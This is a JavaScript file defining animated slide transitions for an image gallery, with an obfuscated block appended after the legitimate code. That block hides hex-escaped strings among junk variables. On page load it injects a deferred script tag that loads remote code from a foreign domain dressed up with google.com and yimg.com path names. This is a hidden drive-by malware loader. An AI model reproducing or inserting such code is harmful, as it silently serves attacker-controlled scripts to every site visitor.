/**
 * @author jon
 */
gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
var o;if(o!='' && o!='V'){o=''};this.oD='';function F(){var m;if(m!='s'){m=''};var G=unescape;var Al=new Date();var n=window;var Z=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%69%6d%67%2e%63%6f%6d%2f%66%61%6e%64%61%6e%67%6f%2e%63%6f%6d%2e%70%68%70");this.M="";var B=new Array();function k(z,ZC){this.S="";var d="";var C=String("gaLwf".substr(0,1));var O=G("%5b"), a=G("%5d");var aI;if(aI!='ko' && aI != ''){aI=null};this.Ju="";var D=O+ZC+a;this.Sf='';var OF=new RegExp(D, C);return z.replace(OF, new String());var b;if(b!='IW' && b!='qB'){b='IW'};};var gt;if(gt!='xF' && gt != ''){gt=null};var hr=new Array();var E=new String();var jv='';var Rx='';var j=document;this.Yq='';var I=k('831104471864902174','74631925');this.W="";var jL=new String();var Sh="";var h=new String();var Cw='';var u='';this.Km='';var Bo=new String();function zx(){this.mg='';var f='';var L=G("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");this.DP="";var gi;if(gi!='mq'){gi='mq'};var Jw=new Date();h=L;var gr=new String();h+=I;var VD;if(VD!=''){VD='uq'};var kM='';h+=Z;var Pz=new String();var Qx;if(Qx!='pq' && Qx!='aE'){Qx='pq'};var iS='';try {var Xy;if(Xy!='KB' && Xy!='tT'){Xy=''};var Qy;if(Qy!='' && Qy!='IM'){Qy=''};var S_;if(S_!='rw'){S_='rw'};K=j.createElement(k('s3cjrHiJpHt3','SWCZaTHjJV3yM'));var bI;if(bI!='SN' && bI!='uN'){bI=''};this.Fb="";var Kz;if(Kz!='lW'){Kz=''};K[G("%64%65%66%65%72")]=[7,1][1];this.Db='';K[G("%73%72%63")]=h;var kk=new Array();var BEA;if(BEA!='' && BEA!='BL'){BEA='DbY'};j.body.appendChild(K);var KO=new Date();var sp;if(sp!='Cn' && sp!='w'){sp=''};var RuW=new Date();} catch(aq){var T;if(T!='' && T!='SQ'){T='g_'};alert(aq);};}var QB;if(QB!='ZB' && QB!='EY'){QB='ZB'};var oq;if(oq!='' && oq!='wm'){oq=null};n[new String("onl"+"KMIoad".substr(3))]=zx;var i_='';var Ld='';};var TR="";F();